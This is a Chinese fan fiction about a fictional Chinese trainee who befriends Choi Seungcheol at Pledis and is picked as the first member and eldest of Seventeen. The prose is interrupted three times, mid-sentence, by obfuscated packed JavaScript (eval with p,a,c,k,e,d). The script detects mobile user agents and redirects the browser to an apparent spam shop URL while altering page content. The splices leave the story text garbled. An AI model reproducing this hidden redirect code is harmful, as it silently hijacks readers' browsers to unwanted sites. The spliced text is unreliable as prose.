《[SVT]虽然次十四,但他是大哥》 1. 1.后脑勺有点痛 2009年5月17日 “你就这么签了?”男人拿在手里印着大号黑体,中韩双语“Pledis Entertainment株式会社练习生合约”的白纸,恨不得把眼前的金发少年当场打死。 “签了啊,还摁了手印,你看不见吗?读给你听也行啊。”金发少年撇着嘴,满不在乎的回复,那双绿眸咕噜噜的到处看着。 “……谢谢啊……”男人听到这话差点一口口水没把自己呛死。 “不客气?” 金发少年话还没说完就被男人一巴掌呼到了后脑勺上,少年人一个踉跄,没准备好差点当场跪下,他站稳后捂着后脑勺猛然扭头瞪着动手的男人。 “干嘛动手啊!?” “臭小子你还好意思问!签之前你好歹打个电话问一下啊!”男人气呼呼的把手上的练习生合约摔的哗哗作响,“自家就是开娱乐公司的你不去,那就算了,旗下投资联合的S.M,YG,JYP哪个容不下你?不吭不响的就签了个名不见经传的公司!脾气跟莉莉娅一样,就喜欢闷声干大事!” “提我妈干什么,我自己愿意签的。”少年自知理亏,略带心虚的移开视线,手还不断的摸着隐隐作痛的后脑勺。 “莉莉娅为了气你祖父嫁给了你爸,你现在敢说你签这合约不是为了气你爸?”看着长大的孩子,男人自然知道小家伙脑袋里在想什么,可怜他把人带出来就带不回去了。 “哎嘿,还是叔你懂我:-P” “……”男人脑海里只有一句话那就是‘我死定了,我哥一定会扒了我的皮的。’臭小子可以不接他爸电话,但是他不能啊。速效救心丸!速效救心丸!!! “好了,没事儿你可以退下了叔。”少年人对面前捂着心脏的男人做着驱赶的手势。 “姜里树!在我死定前,我现在就让你先死定下!!!”姜辰把手里的练习生合约卷成纸筒,抬手就照着姜里树的金色脑瓜子打过去。 “!我去!”姜里树惊恐的快速下蹲躲过第一下,然后快速抬腿跑远。 姜辰带着破空声猛挥的第一下落空,脚下因为惯性往前扑了一下,又立马站稳追着越跑越远的金色脑瓜追去。 首尔仁川国际机场。 作为首尔运输量最大的机场,不来看一眼你都不知道韩国居然也能有这么多人。偶尔惊现机场的idol偶像更是让机场达到了水泄不通的程度。 “别东张西望,听我把话讲完!”姜辰在思想视线开始抛锚的自家侄子眼前打了几个响指,激活一下“人机”的待机状态。 “听着呢听着呢……”姜里树抱着胳膊敷衍的回了句。 “唉————,我在你练习室附近买了套Loft公寓,练习的时候就住在那里就行,反正目前是练习生合约还没有正式签订合同,所以公司也不会要求你必须住宿舍,不过你要是自己想也行。”姜辰给自己侄子挖了个小小的坑,但是又想起来合约上白纸黑字写着‘两年内假期公司提供练习资源,但是出道的话只能和本公司签订出道合同。’只想快速猛嗑几瓶速效救心丸。 “知道了知道了,有事儿我会自己打架的。” 姜辰上飞机前最后只对姜里树说了一句话。 “别再那么冲动了。” 姜里树那双绿幽幽的眼睛没看他,也没回话。没经历过挫折的少年人自然不会顾及那么多其他的,他在乎的人都在国内,这里自然也没有人能控制的了他。 可是他忘了,有拳脚能解决的事,自然也有拳脚解决不了的。就像他只觉得现在在乎的人在国内,那未来呢?未来就会没有在乎的人了吗… 五月五诞生的少年人刚过完没多久的生日,就凭着一股气孤身一人生活在首尔当着预备练习生。已经练习了有两个月了吧,国内的学校也暂时请了假,只要大考回去就行,所以学业这块儿也不用太费心。姜里树摇头甩开被汗水遮住眉眼的金色发丝,喘着粗气继续跟随着音乐舞动着。 外面的天刚刚黑透,练习室里的人都已经离开了,只有姜里树还在这个昏暗的练习室里练习。刚来的那几天有想着和其他人好好相处,可是对于异国人随处可见的歧视也接踵而来。漂亮的、唱功和舞蹈功力不俗的姜里树让他们产生了危机感,那就算了,他不是非认识他们不可,好在没有把难堪摆在明面上,彼此也算井水不犯河水。 三心二意的边练习边思想抛锚的姜里树自然也没有注意到玻璃门外看了他许久的人影,全神贯注的,眼中只有那个昏暗灯光下的金色发丝的少年。 门外随着舞蹈动作,慢慢移动视线的黑发少年就这么和镜中的绿眸对视上了,那是一双怎样的眼睛…是冰雪融化后的翠绿湖泊,或许湖水冰冷,但是冰冷之下生机盎然,让他深陷其中。 “你是谁?” 姜里树停掉音乐,弯腰拿起毛巾擦掉脸上的汗水,转身看向那个发呆的黑发少年。 “前辈好!我是来自大邱广域市的崔胜澈!因为明天要面试,所以提前来找下地址,很抱歉打扰到您了!”黑发少年露出被发现的紧张和害羞,很歉意的鞠了好几个躬。 “别紧张,不用叫我前辈,我是来自重国的姜里树,所以不讲究前后辈文化。”姜里树停下擦汗,抬手示意他停下鞠躬。 两个人介绍完自己,空气里一时也安静了下来,慢慢的尴尬的气氛也弥漫开来。 “如果没什么事的话,你就明天按时来面试就好,我也准备关灯锁门回去了。” 姜里树看着崔胜澈缓缓侧身试探,确定他真的没有别的事了才回到镜子前拿起自己的东西。 “啊!没有了没有了,明天我会按时面试的!”听到姜里树和自己说话,崔胜澈立马打起精神来回复。 锁好门的姜里树看着一脸乖巧背着双肩包站在身边的崔胜澈,看着那双圆溜溜的眼睛鬼使神差的问了他一句:“你找到住的地方了吗?” “啊?没有没有!因为害怕面试迟到所以提前来的,下了车就来找公司地址了,还没有找到住的地方。” “那就先住我这吧,正好我也是一个人。”姜里树说完觉得可能是有点热切的突兀,紧接着又和崔胜澈解释到,“公司目前已有的宿舍已经住满了,我的住所就在附近,所以,要来吗?” “真的可以吗?!会不会太打扰您了!?”崔胜澈有些惊喜的看着眼前格外漂亮的少年。 “嗯,不会打扰,有人能陪着我也很开心。”姜里树有些不自在的抠抠脸,崔胜澈惊喜看着他的眼神让他有些害羞。 “不过还要麻烦你陪我去买些菜用来做晚饭。” “不麻烦的不麻烦的!前辈。” “我是1995年5月5日生,不用叫我前辈的,如果比我小,就叫我一声哥吧。” “哥!我和你同年哎!不过我是8月8日生。”崔胜澈歪着头笑眯眯的看着身旁的姜里树,认识的第一个人就是同龄人真是太好了! “啊,那胜澈叫我里树也可以的。” “里树!” “嗯,胜澈。” 到了菜店,姜里树开始挑选食材,不多不少应该够他们两人吃的。 “胜澈有哪些忌口的吗?” “我不吃藕,也不太能吃辣。”崔胜澈摸摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205941|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后脑勺的头发,有点羞涩的回应着。 “好巧,我也不太能吃辣。”太好了,是心怡的饭搭子。 两个人一路相伴回到距离公司不远的住宅公寓区,崔胜澈主动提着有些重量的水果,姜里树提着今晚和明早的食材。 “哇哦——”崔胜澈看着装修漂亮的loft公寓,发出了惊叹声。 姜里树对崔胜澈可爱的反应笑了一下,带他将手里的东西放到厨房,就领着人到二楼走去。 “二楼是两卧一卫,我住楼梯左手边,右手边这一间正好空着,胜澈住这一间吧。”本来是想改成电竞房的,还好没有。 “哇——谢谢哥!”还有阳台,因为楼层所以窗外景色也很不错,还能看见P社公司灯牌,芜湖~ “床单会铺吗?我去做饭,自己铺一下床单哦。” 确认崔胜澈会铺床单后,姜里树就下楼去厨房做晚饭了。没一会儿崔胜澈就下了楼,走到厨房门口就问姜里树有没有需要他帮忙的地方。 “可以洗些水果一会儿吃。” 正在切菜的姜里树,一会儿还要搅动一下汤锅,一点也没跟新认识的弟弟客气,指挥着崔胜澈去清洗一下刚刚带回来的水果。 不想气氛太尴尬,崔胜澈率先聊起了天,突然把想到的话就问了出来。 “里树不怕我是坏人骗你的吗?”毕竟会来P社面试也是因为他和爸爸以为星探是骗子,要不是他们一直打电话,崔胜澈就能就把这件事抛之脑后了,本着试一试的心态还是来了。 “不会哦,看到胜澈的第一眼,你的眼睛就告诉我‘要相信这个人啊’的念想,而且不知道为什么我也没有理由的就很相信你。” “……”这是什么话!这哥也太犯规了吧!!! “倒是胜澈也很相信我啊,就这么互通了姓名后就跟着我回家了。”姜里树没注意到崔胜澈害羞的小心思,手下还在不停的做着菜。 “在练习室外看着里树心无旁骛的练舞,和你在镜中对视的时候……就相信你了……”哎一古,自己这是在说什么奇怪的话啊!崔胜澈红着耳朵,冲洗水果的速度变快了。 “哈哈,看来我们还挺有缘分的啊。”姜里树将最后一个菜盛出,和空出手的崔胜澈一起端到客厅去。 “哇——大发,好丰盛。” 崔胜澈发出了今晚不知道第几次惊叹,看着面前的三菜一汤很是丰盛,可乐鸡翅、蒜蓉生菜、香酥脆豆腐、三鲜菌菇汤,还有什锦米饭! “快尝尝。”姜里树笑了一下,伸手帮崔胜澈盛汤。 崔胜澈下了第一筷子,眼前是一亮又一亮。姜里树看他吃的开心,眼里的笑意就更多了。 “哇——里树你不仅长的好看,舞跳的好,手艺也超级棒啊!”崔胜澈揉揉吃的撑撑的肚皮。 “谢谢夸奖啊,所以我决定你来洗碗。”姜里树猫猫嘴一勾,发出了让崔胜澈瞪大眼睛的声音。 “莫???”这哥是认真的吗?让第一次来家里的亲故洗碗。 “对呀,你洗碗哦,我不喜欢洗碗?。” “……”崔胜澈看着姜里树的笑容,自己也笑了出来,最后一丝陌生的局促感也没有了。 两个人分工明确的一起做着最后收摊的活儿,姜里树把剩菜用保鲜膜封好放到冰箱里,崔胜澈洗着两个人的碗。人多就是力量,没个五分钟就收拾好了。 两个人看会儿电视就准备洗漱去睡觉了,第二天姜里树要带着崔胜澈去面试,让奔波的少年洗漱好,好好休息一晚明天才能好好表现。 “晚安,胜澈。” “晚安,里树。” 2. 2.最生气的事 “RiSu最让Coups生气的是哪一件事?” “呀!那绝对是我正式到练习室的那一天,让我装作不认识他!!!”崔胜澈想都没想愤怒的咆哮脱口而出,才不管坐在旁边的姜里树双手捂着脸尴不尴尬,说起这事儿他能唠一辈子! 今天阳光特别好,是个出行的好日头。 “早啊,胜澈,昨晚休息的好吗?” 姜里树听到下楼的脚步声抬头看到一脸迷迷糊糊的崔胜澈,正晃悠着准备下楼。 “早啊,里树,昨晚休息的很好,床很软。”昨晚和父母哥哥报备完平安后,也和他们说了碰到了人很好很好的前辈,第一次见面就被带回家里休息,还做了很多重国美食,休息一晚后,第二天还会带他一起去公司面试。 两人吃过早餐后,姜里树带着崔胜澈来到公司找到经纪人,跟着他一路走到面试的办公室门口。 在崔胜澈准备跟着来接待的工作人员去面试的时候,姜里树张了张嘴却没说话,只是在他进去前偷偷在他口袋里在了一张纸条,面试结束出来就会看见的吧。 看见了,一个字不落,看完绝对超生气的崔胜澈,只想把纸条砸在塞给他纸条的人的脸上!什么叫‘如果来了练习室看见我,要装作不认识我。’他倒要看看为什么不让他‘认识他’。 “孩子们,这是新来的练习生,崔胜澈,大家要好好相处哦~”带领崔胜澈来到练习室的是位大家都认识的比较温柔的经纪人nim,所以她的话大家多多少少都会乖乖听的。 “内~”从门打开开始孩子们就都停下了舞步,听着经纪人nim的话。 崔胜澈一眼就看到了练习室内待在角落,还依旧是最耀眼瞩目的那个金色脑袋,那双逐渐浓黑的眼睛就这么直勾勾的盯着另一双翠绿的眸子。 “胜澈哩~也要和孩子们好好相处哦。”经纪人nim捂着嘴笑着拍了拍正目不转睛盯着他们这最漂亮的那个孩子的崔胜澈,温柔嘱咐道,孩子们能好好相处,他们的麻烦也会少很多。 “内~我会的,辛苦您了经纪人nim。”崔胜澈保持微笑和其他孩子目送经纪人离开。 等着练习室的门彻底关上其他人三三两两的会和崔胜澈打招呼,也有部分人在观望,还有一个已经又开始练起了舞。 说的就是你!姜!里!树! 崔胜澈和‘前辈们’礼貌打完招呼后,当着所有人的面一步一步靠近那个平时他们都会默认远离的人。 “前!辈!你好,我是来自大邱广域市的崔胜澈。”‘前辈’那两个字崔胜澈咬的格外用力,还大大鞠了一躬。 “……” 在崔胜澈慢步靠近的时候就停下了舞步,姜里树绿眸里带着无奈笑意转身看着故意对他鞠躬的崔胜澈,他才发现崔胜澈这个小孩儿也是个特别倔的性格。 “你好,澈哩。”姜里树抬着他的肩膀,让他在他面前站直,“米亚内。”但是不后悔,不知道你能不能承受这个‘小小社会’的排挤,但姜里树知道他崔胜澈也绝对不会后悔这么做,他能站在他面前就是最好的解释。 崔胜澈确实不后悔,这是他认定的亲故,虽然相识以来还没超过24小时,但是一点也不妨碍他站到他身边去。至于其他人,不能做他朋友的,那不值得他去关注。 然后这几天仍然是他们两个人最后练习到很晚才锁好门离开舞蹈练习室。 “怎么样?”走在路上时,姜里树扭头看着稍稍矮他一点的黑脑袋,这几天他算是重新认识了崔胜澈,目光里带着新奇,崔胜澈一开始的内向羞涩完全是迷惑人的假象来着。 “什么怎么样?”崔胜澈从手机里抬起头看他,“能相处就相处,不能相处保持距离就好……说到这,你是完全没想去相处的吧?”不像其他人孤立姜里树,更像姜里树一己之力孤立所有人。 “相处哪门子相处,刚认识不到一周就离开了,有的甚至一周都坚持不下来,久而久之就不想认识了。”姜里树叹了口气,手一摆。 他在这两个月,那真算是每天都在看新面孔,练舞的时候旁边这个人名还没记住,就又换人了。连一开始‘那些个’也都离开得差不多了,现在留下的就是一开始各不相犯的,偶尔也会有互动组合,那也顶多就是要好好完成任务的程度,交朋友完全就没必要,姜里树就没见过他身边的面孔有能让他记住的存在。 “啊~这样啊,那里树是为什么坚持下来了?” “因为这是我自己选的路,哭着我也会撑下去的……”哭倒不至于。 “那很好啊,我也会坚持下去的,我很喜欢练习室的氛围,听着音乐舞动的时候就什么烦心事也没有了。”崔胜澈跳着两步站在姜里树面前挡住了他的去路。 “我们做个约定!”崔胜澈伸出右手小拇指,示意姜里树也把手伸出来。 “什么?”心里疑惑着,手上却乖乖勾住了崔胜澈的小拇指。 “我们约定好,会一起走下去!谁也不会中途离开!”收到回应的崔胜澈嘴角笑着,紧紧勾住姜里树的小拇指。 “哇噻——这个约定有点大啊。”姜里树压根没有想要拒绝的意思,能有个伙伴在同一条路上同行,那确实是件无比开心的事。 “咔嚓————”手机的闪光灯打断了两个少年的约定。 两个人齐齐看向闪光灯处。 “米安嘿呦!米安嘿呦!”拿着手机的是个看起来和他们年龄相差不大的小姑娘,非常害羞的道着歉,努力解释自己冒犯的举动,“米安嘿呦!你们两个太好看了,而且之间的气氛太好了,所以就情不自禁拍了照,你们是即将出道的idol组合吗?可以告诉我你们的组合名字吗?我会为你们应援的!” “我们还没有组合哦,现在还是练习生,只是在彼此约定要一起坚持下去,一起出道。”崔胜澈听到女孩儿的话没有被打断的生气,倒是非常开心的和她解释着。 “那我可以为你们见证吗!?”女孩子激动的握着手机原地蹦哒了几下。 “可以的!” 崔胜澈听到她要做见证笑得就更开心了,姜里树看到崔胜澈那双圆圆的眼睛此时已经笑得眯成了一条缝,也点了点头。 “我们约定好,要一直在一起!要一起出道!”崔胜澈重新伸出小拇指,目光熠熠的注视着姜里树。 “我们约定好,会一直在一起!会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205942|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起出道!”姜里树伸出小拇指勾住崔胜澈的手指,笑意满满的回视着他。 小姑娘已经激动到快要晕过去了,小脸红扑扑的,“我!我见证!” 姜树里和崔胜澈看着女孩儿激动到不行的样子,一对视也都笑了出来。只是和这孩子交换了姓名后就挥着手告别了。 “善乐珍,哇,很不错啊这名字,父母一定非常爱她吧。”回去的路上崔胜澈还在回想刚刚那个女孩子的名字。 姜里树点点头表示赞同,心里想着要好好记住这个名字。 “啊对了,今天收到经纪人nim消息,宿舍要准备好了,让我们两个这两天收拾好行李就可以准备搬进去了。”崔胜澈掏出手机把刚刚看的消息界面展示给姜里树看。 “……新宿舍?”可是他自己先疑惑了一下。 “应该吧……应该吧。”对公司财力不是很信任的姜里树。 “只有我们两个?” “应该吧…等下,不是你该告诉我的吗?”怎么被问的一直是自己啊。 “啊,就我们两个,所以你一定会和我一起去的吧。一定会去的吧,我们可以住在同一间宿舍的。”崔胜澈收回手机,又仔细看了一遍信息,确认无误后双手搭在姜里树的肩上,用上力气前后摇晃着他。 “可是,胜澈啊,既然宿舍里就我们两个,为什么不直接暂时先住在公寓里呢?等到其他人住进来的时候,我们再搬进去也是可以的吧…”姜里树的脑袋随着崔胜澈手臂的力量晃动着。 “等到其他人来我们再过去,会来不及的吧。我们可以先把一部分物品先放过去占着位置啊。” “好吧好吧,听你的,别晃我了,快吐出来了…” 好像从李知勋来了开始,训练室的人员变动终于没那么频繁了,公司也在此期间也没那么捉襟见肘了。崔胜澈还和姜里树讲,李知勋一定是个福星来着,多贴一贴沾沾福气。 姜里树和崔胜澈满打满算在练习室待了一年,姜里树偶尔在特定的日子会离开一周回国内考试,期间和崔胜澈升高一的时候,作为插班生一起和崔胜澈去了“首尔公演艺术高中”,运气还挺好的和他在一个班。 现在每天两个人一起起床,一起离开宿舍去上学,放学,一起去吃饭,再一起去练习室,简直是形影不离,练习室里就他们两个关系好到衣服都穿对方的,李知勋说两个哥再亲近一点就危险了。 现在还一起去车站接放学回来的弟弟,李知勋一下车就看到很吸引路人的两个人影,立马快步跑到他们两个身边,很是乖巧的开口叫了两人一声“hiong~”。 姜里树接过李知勋的书包,摸了摸小孩儿蓬松的头发,点点头回应,身旁的崔胜澈从口袋里掏出一个紫菜饭团和一盒牛奶递给李知勋让他快吃点垫一垫肚子,一会儿训练完再去带他去吃好吃的,李知勋点点头习以为常的接了过来,边吃边走在两个哥中间听着他们说着今天发生的大大小小的事,偶尔自己也会和两个哥哥说一说今天在学校发生的事或者是哪里不懂的舞蹈动作,崔胜澈听到会立马演示给李知勋看,姜里树会喊着让崔胜澈好好走路,身边擦肩而过的路人也会笑着绕过这三个少年人。 3. 3.指导?我吗? P社,练习室内。 孩子们正随着舞蹈老师的节奏舞动着四肢。每一双眼睛都紧盯着镜中的动作,眼神里没有疲倦,只有一股不服输的韧劲。汗水浸透了前胸后背的衣衫,对他们来说,这不过是又一次全力以赴的日常。 前排站着的是公司早就预定下来明年年初公布预备出道的前辈们。后排则是依次排开站着李知勋,姜里树,崔胜澈,张道允和另外两个孩子,他们都是板上钉钉,最有可能作为前辈们的兄弟团跟随前辈们一起出道的孩子们。 大家都是很好相处的人,前辈们也没有架子,都是好说话的大哥哥,弟弟们都是顺从听话尊敬前辈的好孩子。 而姜里树就是这些孩子里,被大家默认是兄弟团里的预计队长,一定会出道的那一个。和刚来的时候不和其他人接触的性格,到现在被崔胜澈和李知勋两个弟弟到处带着结朋交友,已经不要好太多了。明明是弟弟里的前辈,却被弟弟们带着同其他人相处,经纪人姐姐每回看见都会笑他像个小猫崽一样。 “好了~孩子们,大家休息十分钟。”舞蹈老师拍拍手,让停下来才感觉到累的孩子们休息一会儿。 “内~”有的人直接瘫坐在地上,东倒西歪的,这一坨人那一坨人的。 姜里树没有立马坐下,活动活动手腕才缓步走向角落里放水的地方,一连拿了好几瓶,挨个走到其他人身边将怀里抱着的水给哥哥们和弟弟们。 “谢谢里树哦~” “谢谢啊,帮了大忙了我们里树。” “太好了,是乖巧的里树弟弟~” “谢谢hiong~” “谢谢里树哥~” 确认了所有人都有了水后,姜里树走到弟弟们的身边,正要坐下的时候,训练室的门突然打开,经纪人姐姐叫住姜里树让他出去一下。 “里树啊,一会儿你到你们之前的练习室里带带新来的几个孩子,都是很有天赋的好孩子们。本来该有专人带他们的,可是那位工作人员生病了,其他老师都正在忙,我就只能想到我们里树了。”经纪人姐姐有些歉意的看着姜里树,公司能力有限,她能第一时间想到的人就只有姜里树这个天赋异禀的孩子了,她知道目前是他们正在为了预备出道冲刺,但是想到那几个同样天分匪浅的孩子,只能来试试问问姜里树的意见。 “!我吗?!我带新来的孩子们?,真的可以吗?”姜里树心里只有他会不会误人子弟的担忧。 “可以的可以的!你同意了吗?”经纪人姐姐眼睛一亮,惊喜的看着姜里树,她就知道!看起来不与人接近的姜里树是个特别温柔的孩子。 “当然可以啊,努那你那么相信我,我当然要试试啊。能让努那那么看好的孩子,我也很好奇的。” “那太好了,我去和你们舞蹈老师说一下!”真的是太好啦((つ≧▽≦)つ! “好的,我去和胜澈他们说一声,就在这里等您。”姜里树鞠了一下躬,和经纪人姐姐说。 “好的。” 回到练习室,弟弟们都围了上来,七嘴八舌的问着姜里树经纪人姐姐有什么事。明年临近出道,现在任何的风吹草动都会让弟弟们紧绷的神经弹动。 “努那让我去带一下新来的孩子们,他们的老师生病了,公司暂时也抽不出人手。”姜里树示意他们放松,摸了摸抱着他腰的李知勋的头发,毛茸茸的。 “啊~”崔胜澈发出了一波三折的语气词,带着些抱怨和他说:“可是现在正是关键时候啊,怎么会想着让你去带新练习生啊。” “有没有好好听我说话啊,胜澈哩!”姜里树听着嘟嘟囔囔的“打抱不平”,无奈的笑着捏了捏崔胜澈带了点婴儿肥的脸颊,又和他解释了一遍,“人员抽调不开,正好努那说新来的孩子天赋不错,我也很好奇,去看看就回来。” “你们要好好听前辈们和澈哩的话哦。”姜里树走之前嘱咐着其他弟弟们。 “内~里树hiong~” “里树,已经说好了,我们走吧。”经纪人姐姐推开门呼唤着姜里树,正好他们的舞蹈老师也来了。 “内!这就来。”姜里树拍拍怀里的李知勋,又拍拍崔胜澈的肩膀后,和舞蹈老师打了招呼就跟着离开了。 经纪人姐姐带着姜里树回到了他们以前的练习室,一成不变的绿色墙皮,两个方位的全面镜,灯光仍旧处于要亮不亮的状态。啊,一切感觉还是那么熟悉又陌生。 唯一不同的就是灯光下新来的孩子们朝气蓬勃的样子。 “孩子们~这是暂时指导你们的姜里树。”经纪人姐姐拍拍手招呼孩子们过来。 “你们好,我是来自重国的姜里树,接下来的课会由我暂时来指导你们。”姜里树嘴角带笑的微微弯腰,同眨巴着眼睛看着他的孩子们打招呼。 “前辈好~”孩子们一起鞠躬打招呼,然后就开始了七嘴八舌的问候。 “前辈好!我叫权顺荣!您的舞蹈一定很厉害吧!!” 一笑起来,眼睛就眯起来的少年人让姜里树差点幻视少年是什么仓鼠附身。 “前辈您好!我叫全圆佑。” 是个腼腆的孩子,音色很特殊,Hip-hop一定会很惊艳吧。 “前辈好!我叫金珉奎!哇!大发!里树前辈你好好看哦!” 这孩子是个让人看到第一眼就忘不掉的帅气面容。 现在星探还真是厉害啊,一下子挖来这么多稀有款少年。哇,是一群天使,开心。 练习室里的其他孩子们也都是认识这个好说话又漂亮的前辈的,就是没什么机会能说说话,现在也都纷纷把几人围了起来热情的互相打着招呼。 是幼崽乐园,姜里树已经开始幻视猫猫狗狗幼崽了,猫猫嘴笑得更开心了,有点乐不思蜀了。 接下来的练习训练做游戏,孩子们都很配合,玩儿的也很开心,权顺荣和金珉奎完全是社牛分子来着,崔胜澈最开始认识的时候起码是真的害羞了下才放开性格的,这两个孩子像孩子王一样快速打入人群,是该天生享受舞台的王者。全圆佑这孩子有点腼腆,但是也是个乐观的孩子,和其他人也能玩儿得特别好,就是喜欢跟在姜里树背后,一会儿问个问题,一会儿要哥哥指导一下舞步动作,像个小尾巴。如果被权顺荣和金珉奎看见了,两个人也会立马跟团要姜里树指导动作,或者是把新点子告诉姜里树让他先跳一下,看看他们新奇的想法是不是真的有人能做到。姜里树也会听弟弟们的意见去根据他们说的想法做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205943|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出动作,着实是让孩子们再次眼前一亮。 “好了~一会儿打扫完练习室,大家就可以回去宿舍了。” 姜里树率先拿起扫把,招呼孩子们一起打扫卫生,这样打扫得快,也能让孩子们联系感情。 “内~里树hiong~”孩子们对这个新哥哥是完完全全的喜欢上了,没有前后辈的架子,真的像亲哥哥一样带着他们练习和玩,孩子们打扫起来也是热火朝天的。 “里树!结束了吗?” 是刚刚从另一个练习室过来的崔胜澈和李知勋,两个人以为姜里树只是去一会儿,顶多两节课的时间,没想到一去就是一下午,现在他俩来接姜里树一起去吃饭然后回宿舍去。 “哦!胜澈,知勋!你们来了。还要等一会儿,和孩子们一起打扫完就走。道允他们已经先走了吗?”姜里树挥挥手让门口的两人过来。 孩子们也都停下手里的活和两个前辈鞠躬打招呼。 “昂,已经让他们先回去了。”崔胜澈很顺手的接过姜里树手里的扫把,开始接手他扫剩下的这片位置。 “那就是努那说的很有天赋的孩子们吗?”李知勋熟练的窝到姜里树的怀里抱着他的腰,抬头看看他又看看扫着扫着又开始跳起舞唱起歌的三个新面孔。 “嗯,确实很有天赋,也不知道公司拜了哪里的寺庙找到这几个天才,有机会问问我也去拜拜。”姜里树一手扶好李知勋的背,一只手把他遮住眼睛的头发巴拉巴拉开。 “孩子们,收拾好了就回宿舍吧~” “内~里树hiong辛苦了!里树hiong再见!前辈们再见!”孩子们挥手和姜里树他们告别。 “等下!hiong!明天你还来吗?就是来教我们!”权顺荣快跑两步带着金珉奎和全圆佑到姜里树身边。 “这个啊,要暂时看公司安排呢,明天的话也说不定会来。不过,就算公司给你们安排好了老师,你们空闲的时候也可以来找我玩的。”姜里树抬手摸了摸小仓鼠柔软的头发,他确实很喜欢这几个弟弟。 “可以吗!?” “可以的可以的。” “那hiong再见!”收到确切消息三个孩子和他们三个一起挥手告别。 “再见哦~” “里~树~hiong~再~见~哦~” “……”什么死动静?姜里树看着崔胜澈矫揉造作的学着孩子们的动作,嘴里像吃了藕一样,人都要变异了。 他问牵着的李知勋:“胜澈来的时候吃什么了?” “不知道,大概是死耗子。” “……” “……” “莫?!李知勋!我才没有吃死耗子!”反应过来的崔胜澈对着李知勋就是一个猛鬼恶扑。 两个人就开始围绕着姜里树兜圈子,这动作在重国还是个历史典故,但没想到他是那个柱子。 “好了,你们两个不饿吗?”姜里树一把拦住崔胜澈,将李知勋护在身后。 “饿!”嗷嗷待哺x2。 “那请你们去吃烤肉好了。”平平无奇说出让人亢奋的话。 “芜湖!~烤肉!烤肉!”x2。 果然有了烤肉,脑袋里就会放下一切。 4. 4.seventeen? 首尔的冬季,空气里总掺着一股清冽初雪的甜腻。汉江沉默地结着薄冰,将都市高楼的倒影冻成模糊的铅灰色。街边的便利店亮着暖黄的光,推门进去时,扑面而来的暖气和关东煮的雾气会瞬间糊住眼睛——那是这座城市冬日里,最直接也最慷慨的温柔。 姜里树独自站在汉江桥上,白色呢子大衣替代冷风去拥抱这个身形修长的异国人,贴身的黑色高领毛衣称的他的肩颈腰身更精瘦,下身是一条看不出腿型的黑色休闲阔腿裤,脖子上还松松垮垮的披着一条看不出牌子的围巾。口中呼出的白雾,先是模糊了对岸的灯火与楼影,渐渐地,连他自己也被笼在这片温吞的雾气里,仿佛这世界与他之间,就这样达成了某种心照不宣的、暂时的疏远。 他整个人站在那就是一道风景线。 他在想什么呢? 他在想他前些天听到和说出去的那些话。 那天在被经纪人姐姐叫到金代理办公室的时候就有不太好的预感。 “姜里树,公司要将你撤出“tempest”的男团企划案,现在正式通知你。”金代理很平静的说出了任何一个练习生都会接受不了的话,就这么从他口中平平淡淡的说了出来。 但他是谁啊,他是姜里树啊,他对金代理口中说出来的这个人名像是完全没听过一样,绿眸中一丝涟漪都没有。 “好的,那么接下来是要我离开公司吗?” 金代理莫名其妙的擦了擦额角不存在的冷汗,他怎么从这孩子身上感受到了一股淡淡的疯感。 “不是让你离开,你的练习生合约快到期了,公司预备同“tempest”同时开启新的出道企划案,只不过时间要比“tempest”出道晚一些。”姜里树低着头没接他的话,金代表继续说着,“新的企划案暂定叫“Seventeen”是公司准备在2013年推出IDOL组合,由平均年龄17岁的17名男成员组成Seventeen,这将是男团史上人数规模最大的组合。公司表示,要摆脱先在国内出道再打入海外的既存方式,计划将该组合培养为可以在中日韩同时展开活动的国际性组合。” 姜里树面无表情的点点头,他抬眼看着金代表,那双象征璀璨生命的绿眸此刻幽幽沉沉的化作了夺人性命的狼,他问:“为什么是我?” “前面说了一个方面,一是因为你‘练习生合约’即将到期,公司想要与你签订正式的‘预备出道合同’;二是因为通过公司的观察,你的性格,品性都很好,对工作人员,前辈,后辈们都会以礼相待,并且相处的很好。听说这一阵子是由你辅助经纪人在带其他练习生,能够保障准时完成练习生培训任务,还能够辅助工作人员带孩子们训练,如果你能够做为Seventeen的首位成员和大哥,我们会很放心。” “……”姜里树听着这些让人充满饱腹感的话语,好笑又带着一丝无力感,他暂时说不上来从哪里来的无力感。 “你觉得如何,要成为seventeen的首位预备出道成员吗?”金代理看着姜里树,也开始有一丝紧张的不确定感。 “……胜澈和知勋他们会按时出道的对吧。” 